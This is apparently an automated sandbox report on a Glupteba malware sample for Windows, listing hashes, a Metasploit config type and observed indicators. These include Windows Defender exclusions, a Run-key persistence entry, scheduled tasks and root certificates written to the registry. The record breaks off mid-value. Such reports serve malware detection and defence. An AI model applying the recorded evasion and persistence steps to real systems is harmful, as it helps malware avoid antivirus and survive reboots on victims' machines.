Analysis
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max time kernel
184s -
max time network
232s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
25-11-2022 08:53
Static task
static1
Behavioral task
behavioral1
Sample
c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe
Resource
win10v2004-20221111-en
General
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Target
c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe
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Size
3.8MB
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MD5
83dac15991d182e1e0996e09d05c358d
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SHA1
597fc6049d50ebbde4d3bc09a5d40ac8ea8caaf2
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SHA256
c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae
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SHA512
090576d9e77c794282f3e9f58128be58867ec4a2901853dafd2b53123a09d7c97d7dd28bd8ac66a481713c51c5fe58ad0dac67f4f04ff588721f39d1599714a2
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SSDEEP
98304:Q9BvHl5/baM7kFh4KiCIJPNIm8ouO1ua:Q9F/baM7kTIJlIm8oZ
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
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Glupteba payload 8 IoCs
Processes:
resource yara_rule behavioral1/memory/832-56-0x0000000004460000-0x0000000004C62000-memory.dmp family_glupteba behavioral1/memory/832-57-0x0000000000400000-0x00000000025C4000-memory.dmp family_glupteba behavioral1/memory/832-59-0x0000000000400000-0x00000000025C4000-memory.dmp family_glupteba behavioral1/memory/1468-62-0x0000000000400000-0x00000000025C4000-memory.dmp family_glupteba behavioral1/memory/1468-70-0x0000000000400000-0x00000000025C4000-memory.dmp family_glupteba behavioral1/memory/1956-72-0x0000000000400000-0x00000000025C4000-memory.dmp family_glupteba behavioral1/memory/1956-74-0x0000000000400000-0x00000000025C4000-memory.dmp family_glupteba behavioral1/memory/1224-80-0x0000000140000000-0x00000001405E8000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
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Processes:
c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\CoolBird = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 1956 csrss.exe 1224 patch.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
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Loads dropped DLL 8 IoCs
Processes:
c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exepatch.exepid process 1468 c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe 1468 c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe 864 1224 patch.exe 1224 patch.exe 1224 patch.exe 1224 patch.exe 1224 patch.exe -
Processes:
c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\CoolBird = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Software\Microsoft\Windows\CurrentVersion\Run\CoolBird = "\"C:\\Windows\\rss\\csrss.exe\"" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Windows directory 3 IoCs
Processes:
makecab.exec8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exedescription ioc process File created C:\Windows\Logs\CBS\CbsPersist_20221125155513.cab makecab.exe File opened for modification C:\Windows\rss c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe File created C:\Windows\rss\csrss.exe c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1884 schtasks.exe 1500 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exenetsh.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" c8b041e2baf61c3da088f2f1e183f3a66e427447fcab580b5e81062026a8faae.exe -
Processes:
csrss.exepatch.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b80f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a441400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b82000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 